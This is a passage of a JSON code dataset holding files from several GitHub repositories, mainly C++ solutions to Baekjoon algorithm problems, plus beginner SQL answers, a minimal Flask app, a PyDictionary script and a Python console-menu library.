break;\\n }\\n\\n if(sum < vec[i]) start++;\\n else end--;\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4269340932369232,\n \"alphanum_fraction\": 0.4985673427581787,\n \"avg_line_length\": 16.5,\n \"blob_id\": \"83f2985a23bc26e8f58eee0ed7c4bb0057faf9e8\",\n \"content_id\": \"c75f7fe3e3a9d6267b2d68d682edc033875f7f93\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 369,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 20,\n \"path\": \"/BOJ/Implementation/11721.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//BOJ 11721번: 열 개씩 끊어 출력하기\\n//2021-05-04\\n#include <iostream>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string str;\\n cin >> str;\\n\\n while(1){\\n if(str.length() == 0)\\n break;\\n \\n cout << str.substr(0, 10) << '\\\\n';\\n str.erase(0, 10);\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4141252040863037,\n \"alphanum_fraction\": 0.43338683247566223,\n \"avg_line_length\": 18.793651580810547,\n \"blob_id\": \"d290e3a8cb30727f0c4232db330006fa78762cc2\",\n \"content_id\": \"e26bef202e06a4d90bf2ebc82eb0b569deb2f24c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1274,\n \"license_type\": \"no_license\",\n \"max_line_length\": 65,\n \"num_lines\": 63,\n \"path\": \"/BOJ/Binary Search/2143.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2143번: 두 배열의 합\\nDATE: 2022-02-09\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); \\n int t, n, m, num;\\n long long sum, ans = 0;\\n\\n vector<long long> a, b, aSum, bSum;\\n\\n cin >> t >> n;\\n for(int i = 0 ; i < n ; i++) {\\n cin >> num;\\n a.push_back(num);\\n }\\n\\n cin >> m;\\n for(int i = 0 ; i < m ; i++) {\\n cin >> num;\\n b.push_back(num);\\n }\\n \\n for(int i = 0 ; i < n ; i++){\\n aSum.push_back(a[i]);\\n sum = a[i];\\n\\n for(int j = i + 1 ; j < n ; j++){\\n sum += a[j];\\n aSum.push_back(sum);\\n }\\n }\\n\\n for(int i = 0 ; i < m ; i++){\\n bSum.push_back(b[i]);\\n sum = b[i];\\n\\n for(int j = i + 1 ; j < m ; j++){\\n sum += b[j];\\n bSum.push_back(sum);\\n }\\n }\\n\\n sort(bSum.begin(), bSum.end());\\n\\n for(int i = 0 ; i < aSum.size() ; i++) {\\n int diff = t - aSum[i]; \\n\\n auto lower = lower_bound(bSum.begin(), bSum.end(), diff);\\n auto upper = upper_bound(bSum.begin(), bSum.end(), diff);\\n\\n ans += upper - lower; //bSum에 존재하는 diff의 개수\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.41085270047187805,\n \"alphanum_fraction\": 0.4635658860206604,\n \"avg_line_length\": 13.333333015441895,\n \"blob_id\": \"0eeab2843df378d4ab245900eeb287088a54a263\",\n \"content_id\": \"932b431475a28bdf9f74e99c2cb61577f063345c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 677,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 45,\n \"path\": \"/BOJ/Greedy/11501.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 11501번: 주식\\nDATE: 2021-01-10\\n*/\\n#include <iostream>\\nusing namespace std;\\nint price[1000000] = { 0, };\\n\\nint main() {\\n\\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\n\\tint t, n, max;\\n\\tlong long ans;\\n\\n\\tcin >> t;\\n\\tfor (int i = 0; i < t; i++) {\\n\\t\\tcin >> n;\\n\\t\\tfor (int j = 0; j < n; j++) {\\n\\t\\t\\tcin >> price[j];\\n\\t\\t}\\n\\n\\t\\tans = 0;\\n\\t\\tmax = price[n-1]; \\n\\n\\t\\tfor (int k = n-1 ; k >= 0 ; k--) {\\n\\t\\t\\tif (price[k] > max) { //가장 큰 주가\\n\\t\\t\\t\\tmax = price[k];\\n\\t\\t\\t}\\n\\t\\t\\telse if (price[k] < max) { //이익 발생\\n\\t\\t\\t\\tans += max - price[k];\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif (max == price[0]) { //최대 이익 0\\n\\t\\t\\tcout << 0 << \\\"\\\\n\\\";\\n\\t\\t\\tcontinue;\\n\\t\\t}\\n\\n\\t\\tcout << ans << \\\"\\\\n\\\";\\n\\n\\t}\\n\\n\\treturn 0;\\n\\n}\\n\"\n },\n {\n \"alpha_fraction\": 0.47686833143234253,\n \"alphanum_fraction\": 0.5088967680931091,\n \"avg_line_length\": 17.161291122436523,\n \"blob_id\": \"7c889d80877a9a1939650d8f6100c422ab9d8a06\",\n \"content_id\": \"0ef42b8f7cd1374b874619244339315c96b80082\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 572,\n \"license_type\": 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while(!q.empty()) {\\n pair<int, int> cur = q.front();\\n\\n if(cur.first < max) {\\n while(cur.first != max) {\\n q.push(q.front()); q.pop();\\n cur = q.front();\\n }\\n }\\n else {\\n if(cur.second == idx) {\\n cout << order << '\\\\n';\\n break;\\n }\\n else {\\n q.pop(); pq.pop();\\n max = pq.top();\\n order++;\\n }\\n }\\n }\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.37987011671066284,\n \"alphanum_fraction\": 0.4253246784210205,\n \"avg_line_length\": 16.13888931274414,\n \"blob_id\": \"0209841caccc6e521050f001afc054b425e44388\",\n \"content_id\": \"1dcbc4a8c693b653297414c960f312f9e1d3faa1\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 626,\n \"license_type\": \"no_license\",\n \"max_line_length\": 69,\n \"num_lines\": 36,\n \"path\": \"/BOJ/Mathematics/15965.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 15965번: K번째 소수\\n2022-01-29\\n*/\\n#include <iostream>\\n#include <math.h>\\n#define MAX 7400000\\nusing namespace std;\\n\\nint isNotPrime[MAX];\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int k, cnt = 0;\\n cin >> k;\\n\\n for(int i = 2 ; i <= sqrt(MAX) ; i++) {\\n if(!isNotPrime[i]) {\\n for(int j = i * i ; j <= MAX ; j += i) isNotPrime[j] = 1;\\n }\\n }\\n\\n for(int i = 2 ; i <= MAX ; i++) {\\n if(!isNotPrime[i]) {\\n cnt++;\\n\\n if(cnt == k) {\\n cout << i;\\n break;\\n }\\n }\\n }\\n\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.380952388048172,\n \"alphanum_fraction\": 0.4238095283508301,\n \"avg_line_length\": 14.774999618530273,\n \"blob_id\": \"b2f79c2cb4818a919ce21715985a9ae16f662bbb\",\n \"content_id\": \"0ba70e4d5171db341101d7882072effc1939a41d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 640,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 40,\n \"path\": \"/BOJ/Two Pointer/2003.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2003번: 수들의 합 2\\nDATE: 2021-06-01\\nTwo Pointer\\n*/\\n#include <iostream>\\n#define MAX 10001\\nusing namespace std;\\n\\nint arr[MAX];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int start=0, end=0, sum=0, answer=0;\\n int n, m;\\n cin >> n >> m;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> arr[i];\\n }\\n \\n while(end <= n){\\n if(sum < m){\\n sum += arr[end];\\n end++;\\n }\\n else if(sum >= m){\\n sum -= arr[start];\\n start++;\\n }\\n\\n if(sum == m){\\n answer++;\\n }\\n }\\n\\n cout << answer;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4124087691307068,\n \"alphanum_fraction\": 0.45985400676727295,\n \"avg_line_length\": 16.510639190673828,\n \"blob_id\": \"ba82e3cb497d95bbe9bdb07ef91c8cd5b8bc898c\",\n \"content_id\": \"dede551a744fffa4b39c9f02a80253afc8fc5703\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 832,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 47,\n \"path\": \"/BOJ/Sliding Window/15961.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 15961번: 회전 초밥\\nDATE: 2021-08-03\\nSliding Window\\n*/\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint arr[3000001];\\nint sushi[3001];\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, d, k, c, cnt=0, ans=-1;\\n int start, end, total;\\n cin >> n >> d >> k >> c;\\n\\n for(int i = 0 ; i < n ; i++)\\n cin >> arr[i];\\n for(int i = 0 ; i < k ; i++){\\n sushi[arr[i]]++;\\n if(sushi[arr[i]] == 1) cnt++;\\n }\\n\\n if(++sushi[c] == 1) cnt++;\\n\\n start = 0;\\n end = k - 1;\\n\\n while(start < n){\\n ans = max(ans, cnt);\\n end = (end + 1) % n;\\n\\n sushi[arr[start]]--;\\n if(sushi[arr[start]] == 0) cnt--;\\n\\n sushi[arr[end]]++;\\n if(sushi[arr[end]] == 1) cnt++;\\n\\n start++;\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.6295694708824158,\n \"alphanum_fraction\": 0.681559681892395,\n \"avg_line_length\": 16.338027954101562,\n \"blob_id\": \"dd0715e8c9b6c2a3db30d8c1d553fd320b04357b\",\n \"content_id\": \"1aa72ea846820fcd45a9662c2f0a0c056628cdcb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1335,\n \"license_type\": \"no_license\",\n \"max_line_length\": 89,\n \"num_lines\": 71,\n \"path\": \"/programmers/SQL/SELECT.md\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# SELECT\\n\\n**[1. 모든 레코드 조회하기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59034)**\\n\\n```sql\\nSELECT *\\nFROM ANIMAL_INS\\nORDER BY ANIMAL_ID\\n```\\n\\n<br/>\\n\\n**[2. 역순 정렬하기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59035)**\\n\\n```sql\\nSELECT NAME, DATETIME\\nFROM ANIMAL_INS\\nORDER BY ANIMAL_ID DESC\\n```\\n\\n<br/>\\n\\n**[3. 아픈 동물 찾기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59036)**\\n\\n```sql\\nSELECT ANIMAL_ID, NAME\\nFROM ANIMAL_INS\\nWHERE INTAKE_CONDITION = 'SICK'\\nORDER BY ANIMAL_ID\\n```\\n\\n<br/>\\n\\n**[4. 어린 동물 찾기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59037)**\\n\\n```sql\\nSELECT ANIMAL_ID, NAME FROM ANIMAL_INS\\nWHERE INTAKE_CONDITION != 'Aged'\\nORDER BY ANIMAL_ID\\n```\\n\\n<br/>\\n\\n**[5. 동물의 아이디와 이름 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59403)**\\n\\n```sql\\nSELECT ANIMAL_ID, NAME\\nFROM ANIMAL_INS\\nORDER BY ANIMAL_ID\\n```\\n\\n<br/>\\n\\n**[6. 여러 기준으로 정렬하기 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59404)**\\n\\n```sql\\nSELECT ANIMAL_ID, NAME, DATETIME\\nFROM ANIMAL_INS\\nORDER BY NAME, DATETIME DESC\\n```\\n\\n<br/>\\n\\n**[7. 상위 n개 레코드 (Level 1)](https://programmers.co.kr/learn/courses/30/lessons/59405)**\\n\\n```sql\\nSELECT NAME\\nFROM ANIMAL_INS\\nORDER BY DATETIME\\nLIMIT 1\\n```\\n\"\n },\n {\n \"alpha_fraction\": 0.42227378487586975,\n \"alphanum_fraction\": 0.4617169499397278,\n \"avg_line_length\": 16.97916603088379,\n \"blob_id\": \"f6ac31649aa827bf5fd420da0af9a27484847e3d\",\n \"content_id\": \"57b2d478985c1fffbcc331f6a46dd15e5db2f48d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 872,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 48,\n \"path\": \"/BOJ/BFS_DFS/15900.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 15900번: 나무 탈출\\nDATE: 2021-09-10\\nDFS\\n*/\\n#include <iostream>\\n#include <vector>\\n#define MAX 500001\\nusing namespace std;\\n\\nint n, total=0;\\nvector<int> v[MAX];\\nint visited[MAX];\\n\\nvoid dfs(int node, int depth){\\n visited[node] = true;\\n\\n if(node != 1 && v[node].size() == 1){ //leaf node\\n total += depth;\\n }\\n else {\\n for(int i = 0 ; i < v[node].size() ; i++){\\n if(!visited[v[node][i]]){\\n dfs(v[node][i], depth + 1);\\n visited[v[node][i]] = false;\\n }\\n }\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int a, b;\\n cin >> n;\\n\\n for(int i = 0 ; i < n - 1 ; i++){\\n cin >> a >> b;\\n v[a].push_back(b);\\n v[b].push_back(a);\\n }\\n\\n dfs(1, 0);\\n\\n if(total % 2 == 0) cout << \\\"No\\\\n\\\";\\n else cout << \\\"Yes\\\\n\\\";\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.43296703696250916,\n \"alphanum_fraction\": 0.4879120886325836,\n \"avg_line_length\": 14.199999809265137,\n \"blob_id\": \"d6e644cad9a3d12a2fb252860208a1a702d37406\",\n \"content_id\": \"6f4b35d5faef458bc1119d171ae98a3315802e6b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n 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\"30b143ae8a82ee22f37874e522d2f291f8ca6936\",\n \"content_id\": \"c2c688fe0c56e0085c6a63c9211253925f656a56\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1034,\n \"license_type\": \"no_license\",\n \"max_line_length\": 68,\n \"num_lines\": 55,\n \"path\": \"/BOJ/MST/16398.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 16398번: 행성 연결\\nDATE: 2022-03-02\\nPrim Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#define MAX 1001\\n#define pii pair<int,int>\\nusing namespace std;\\n\\nvector<pii> edge[MAX];\\nbool visited[MAX];\\n\\nlong long prim(){\\n long long ans = 0;\\n priority_queue<pii, vector<pii>, greater<pii>> pq;\\n pq.push({0, 1});\\n \\n while(!pq.empty()){\\n int dis = pq.top().first;\\n int cur = pq.top().second;\\n pq.pop();\\n\\n if(visited[cur]) continue;\\n visited[cur] = true;\\n ans += dis;\\n\\n for(int i = 0 ; i < edge[cur].size() ; i++){\\n if(!visited[edge[cur][i].second]) pq.push(edge[cur][i]);\\n }\\n }\\n\\n return ans;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, num;\\n cin >> n;\\n\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n cin >> num;\\n\\n if(i == j) continue;\\n edge[i].push_back({num, j});\\n }\\n }\\n\\n cout << prim();\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.39371258020401,\n \"alphanum_fraction\": 0.428143709897995,\n \"avg_line_length\": 17.58333396911621,\n \"blob_id\": \"978ceeb65f295e11400e49cc2ca0f0021b856216\",\n \"content_id\": \"87ef34ef43ae724fc88bf0644de349146e0a0ce2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 678,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 36,\n \"path\": \"/BOJ/Brute Force/1543.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 1543번: 문서 검색\\nDATE: 2021-04-04\\n*/\\n#include <iostream>\\n#include <string>\\n\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int cnt = 0, ans=0;\\n string str, search;\\n\\n getline(cin, str);\\n getline(cin, search);\\n\\n for(int i = 0 ; i < str.size() ; i++){\\n if(str[i] == search[0]){\\n for(int j = 0 ; j < search.size() ; j++){\\n if(str[i++] == search[j]) cnt++;\\n }\\n\\n if(cnt == search.size()){\\n ans++;\\n i -= 1;\\n }\\n else i -= search.size();\\n }\\n cnt = 0;\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n 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like","value":[{"alpha_fraction":0.6158536672592163,"alphanum_fraction":0.6158536672592163,"avg_line_length":22.571428298950195,"blob_id":"f720187696e3d1fa955082a4d5b4c327244f9879","content_id":"1c925cfc25944f708515bfcf374a0ebdd8635c20","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":164,"license_type":"no_license","max_line_length":32,"num_lines":7,"path":"/app.py","repo_name":"roydulal/Flask_Heruku_Pipline","src_encoding":"UTF-8","text":"from flask import Flask\napp =Flask(__name__)\n@app.route(\"/\")\ndef index():\n return \"My fast Flask setup\"\nif __name__ == \"__main__\":\n app.run(use_reloader=True)"}],"string":"[\n {\n \"alpha_fraction\": 0.6158536672592163,\n \"alphanum_fraction\": 0.6158536672592163,\n \"avg_line_length\": 22.571428298950195,\n \"blob_id\": \"f720187696e3d1fa955082a4d5b4c327244f9879\",\n \"content_id\": \"1c925cfc25944f708515bfcf374a0ebdd8635c20\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 164,\n \"license_type\": \"no_license\",\n \"max_line_length\": 32,\n \"num_lines\": 7,\n \"path\": \"/app.py\",\n \"repo_name\": \"roydulal/Flask_Heruku_Pipline\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from flask import Flask\\napp =Flask(__name__)\\n@app.route(\\\"/\\\")\\ndef index():\\n return \\\"My fast Flask setup\\\"\\nif __name__ == \\\"__main__\\\":\\n app.run(use_reloader=True)\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978386,"cells":{"repo_name":{"kind":"string","value":"Shivansh001/Pocket_Dictionary-using-Python"},"repo_url":{"kind":"string","value":"https://github.com/Shivansh001/Pocket_Dictionary-using-Python"},"snapshot_id":{"kind":"string","value":"a84177aceea570386d2ed65c253345e44a8af464"},"revision_id":{"kind":"string","value":"69912c9283c34b87db6904fda423efb04aecfc6a"},"directory_id":{"kind":"string","value":"6a6fe232f257d529e5e462ea3581496f92aca077"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-02-03T03:46:34.471679","string":"2023-02-03T03:46:34.471679"},"revision_date":{"kind":"timestamp","value":"2020-12-27T18:54:21","string":"2020-12-27T18:54:21"},"committer_date":{"kind":"timestamp","value":"2020-12-27T18:54:21","string":"2020-12-27T18:54:21"},"github_id":{"kind":"number","value":324828002,"string":"324,828,002"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.8074073791503906,"alphanum_fraction":0.8074073791503906,"avg_line_length":66.5,"blob_id":"69e64d994987c54d4e886dbdf4ccf3232977eacf","content_id":"10ad4e634753d3eba7dfd7efbef694e3a11adc63","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":135,"license_type":"no_license","max_line_length":101,"num_lines":2,"path":"/README.md","repo_name":"Shivansh001/Pocket_Dictionary-using-Python","src_encoding":"UTF-8","text":"# Pocket_Dictionary-using-Python\nIt's an amazing tool to find the meaning of any word directly with the help of this pocket dictionary\n"},{"alpha_fraction":0.7601810097694397,"alphanum_fraction":0.7601810097694397,"avg_line_length":22.55555534362793,"blob_id":"8b294d5e668f33c753a4b4852dade84dfc301116","content_id":"f7068deb8e7f5eccaf587922f68aa3b8da9f335d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":221,"license_type":"no_license","max_line_length":55,"num_lines":9,"path":"/pocketdict.py","repo_name":"Shivansh001/Pocket_Dictionary-using-Python","src_encoding":"UTF-8","text":"#to make a pocket dictonary in python we can use\r\n#pyDictionary\r\n#pip install Dictionary\r\n\r\nfrom PyDictionary import PyDictionary\r\n\r\ndictionary = PyDictionary()\r\n\r\nprint(dictionary.meaning(input(\"Enter the keyword: \")))\r\n"}],"string":"[\n {\n \"alpha_fraction\": 0.8074073791503906,\n \"alphanum_fraction\": 0.8074073791503906,\n \"avg_line_length\": 66.5,\n \"blob_id\": \"69e64d994987c54d4e886dbdf4ccf3232977eacf\",\n \"content_id\": \"10ad4e634753d3eba7dfd7efbef694e3a11adc63\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 135,\n \"license_type\": \"no_license\",\n \"max_line_length\": 101,\n \"num_lines\": 2,\n \"path\": \"/README.md\",\n \"repo_name\": \"Shivansh001/Pocket_Dictionary-using-Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Pocket_Dictionary-using-Python\\nIt's an amazing tool to find the meaning of any word directly with the help of this pocket dictionary\\n\"\n },\n {\n \"alpha_fraction\": 0.7601810097694397,\n \"alphanum_fraction\": 0.7601810097694397,\n \"avg_line_length\": 22.55555534362793,\n \"blob_id\": \"8b294d5e668f33c753a4b4852dade84dfc301116\",\n \"content_id\": \"f7068deb8e7f5eccaf587922f68aa3b8da9f335d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 221,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 9,\n \"path\": \"/pocketdict.py\",\n \"repo_name\": \"Shivansh001/Pocket_Dictionary-using-Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#to make a pocket dictonary in python we can use\\r\\n#pyDictionary\\r\\n#pip install Dictionary\\r\\n\\r\\nfrom PyDictionary import PyDictionary\\r\\n\\r\\ndictionary = PyDictionary()\\r\\n\\r\\nprint(dictionary.meaning(input(\\\"Enter the keyword: \\\")))\\r\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978387,"cells":{"repo_name":{"kind":"string","value":"Barbiero/PythonMenu"},"repo_url":{"kind":"string","value":"https://github.com/Barbiero/PythonMenu"},"snapshot_id":{"kind":"string","value":"809a50c9163b127eab5647749f31a68b0ed30329"},"revision_id":{"kind":"string","value":"ecfa7acc4440ab426edd1381940ed4f3a72b211d"},"directory_id":{"kind":"string","value":"7aec6d7af587663ee7356fb6518778c889a09fd2"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-07T20:34:40.137231","string":"2016-09-07T20:34:40.137231"},"revision_date":{"kind":"timestamp","value":"2014-02-27T01:41:12","string":"2014-02-27T01:41:12"},"committer_date":{"kind":"timestamp","value":"2014-02-27T01:41:12","string":"2014-02-27T01:41:12"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7755101919174194,"alphanum_fraction":0.7755101919174194,"avg_line_length":35.75,"blob_id":"128285beeec03c028563f82a68feca8d23927fba","content_id":"b4b18ae0cb32514b4985a4fb1dfd1d99f962142a","detected_licenses":["Unlicense"],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":147,"license_type":"permissive","max_line_length":123,"num_lines":4,"path":"/README.md","repo_name":"Barbiero/PythonMenu","src_encoding":"UTF-8","text":"PythonMenu\n==========\n\nLibrary to create simple Python menus that execute certain functions. Drastically reduces written code on the main program.\n"},{"alpha_fraction":0.529411792755127,"alphanum_fraction":0.5353335738182068,"avg_line_length":28.799999237060547,"blob_id":"56c3bb6bf68dd2beacf107f760d9130a6da101ea","content_id":"d13202209cf85facaa8c740686a4185ad0c27808","detected_licenses":["Unlicense"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2533,"license_type":"permissive","max_line_length":116,"num_lines":85,"path":"/menu.py","repo_name":"Barbiero/PythonMenu","src_encoding":"UTF-8","text":"'''\nSimple menu system for python\nusage:\n\nm = Menu([menu title])\nm.addMenuOption(<option description>, [Function, [{arguments}]])\n(add more options as you wish)\nm.run()\n\nEach option can be associated to a Function.\nIn case the Function isn't callable, chosing that option will close the Menu. and proceed with anything past m.run()\n\n\n'''\n\nclass Menu:\n __name = ''\n maxlen = 0\n __options = []\n\n def __init__(self, name='OPTIONS MENU'):\n self.__name = name\n self.maxlen = len(self.__name)+2\n self.addMenuOption(\"Leave\")\n\n def getMenuSize(self):\n return len(self.__options)\n\n def getOptionLen(self, index):\n if(self.getMenuSize() > 9):\n return len(self.__options[index][0])+6\n\n return len(self.__options[index][0])+5\n \n def addMenuOption(self, descr, func=None, args={}):\n if(not isinstance(descr, str)):\n raise ValueError('Menu description must be a string.')\n\n\n T = (descr, (func, args))\n \n self.__options.append(T)\n index = self.__options.index(T)\n \n if(self.maxlen < self.getOptionLen(index)):\n self.maxlen = self.getOptionLen(index)\n\n def remMenuOption(self, index):\n if(not isinstance(index, int)):\n raise ValueError('Index must be an integer')\n\n if(self.getMenuSize() < index):\n raise IndexError('Index out of range')\n\n if(self.maxlen == self.getOptionLen(index)):\n self.maxlen = len(self.__name)+2\n for i in range(len(self.__options)):\n if i != index and self.maxlen < self.getOptionLen(i):\n self.maxlen = self.getOptionLen(i)\n\n self.__options.pop(index)\n\n def __str__(self):\n width = self.maxlen+2\n STR = '{:*^{w}}\\n*{: ^{self.maxlen}}*\\n{:*^{w}}\\n'.format('',self.__name,'',self=self, w=width)\n for i in range(self.getMenuSize()):\n opt_str = '*{: <{self.maxlen}}*\\n'.format('%d - %s' % (i, self.__options[i][0]), self=self)\n STR = STR + opt_str\n\n return STR + '{:*^{w}}'.format('', w=width)\n\n\n def run(self, optmsg='Choose an option: '):\n while True:\n print(self)\n opt = input(optmsg)\n opt = int(opt)\n if opt in range(0,self.getMenuSize()):\n f = self.__options[opt][1][0]\n if(not callable(f)):\n break\n arg = self.__options[opt][1][1]\n f(*arg)\n else:\n break\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7755101919174194,\n \"alphanum_fraction\": 0.7755101919174194,\n \"avg_line_length\": 35.75,\n \"blob_id\": \"128285beeec03c028563f82a68feca8d23927fba\",\n \"content_id\": \"b4b18ae0cb32514b4985a4fb1dfd1d99f962142a\",\n \"detected_licenses\": [\n \"Unlicense\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 147,\n \"license_type\": \"permissive\",\n \"max_line_length\": 123,\n \"num_lines\": 4,\n \"path\": \"/README.md\",\n \"repo_name\": \"Barbiero/PythonMenu\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"PythonMenu\\n==========\\n\\nLibrary to create simple Python menus that execute certain functions. Drastically reduces written code on the main program.\\n\"\n },\n {\n \"alpha_fraction\": 0.529411792755127,\n \"alphanum_fraction\": 0.5353335738182068,\n \"avg_line_length\": 28.799999237060547,\n \"blob_id\": \"56c3bb6bf68dd2beacf107f760d9130a6da101ea\",\n \"content_id\": \"d13202209cf85facaa8c740686a4185ad0c27808\",\n \"detected_licenses\": [\n \"Unlicense\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2533,\n \"license_type\": \"permissive\",\n \"max_line_length\": 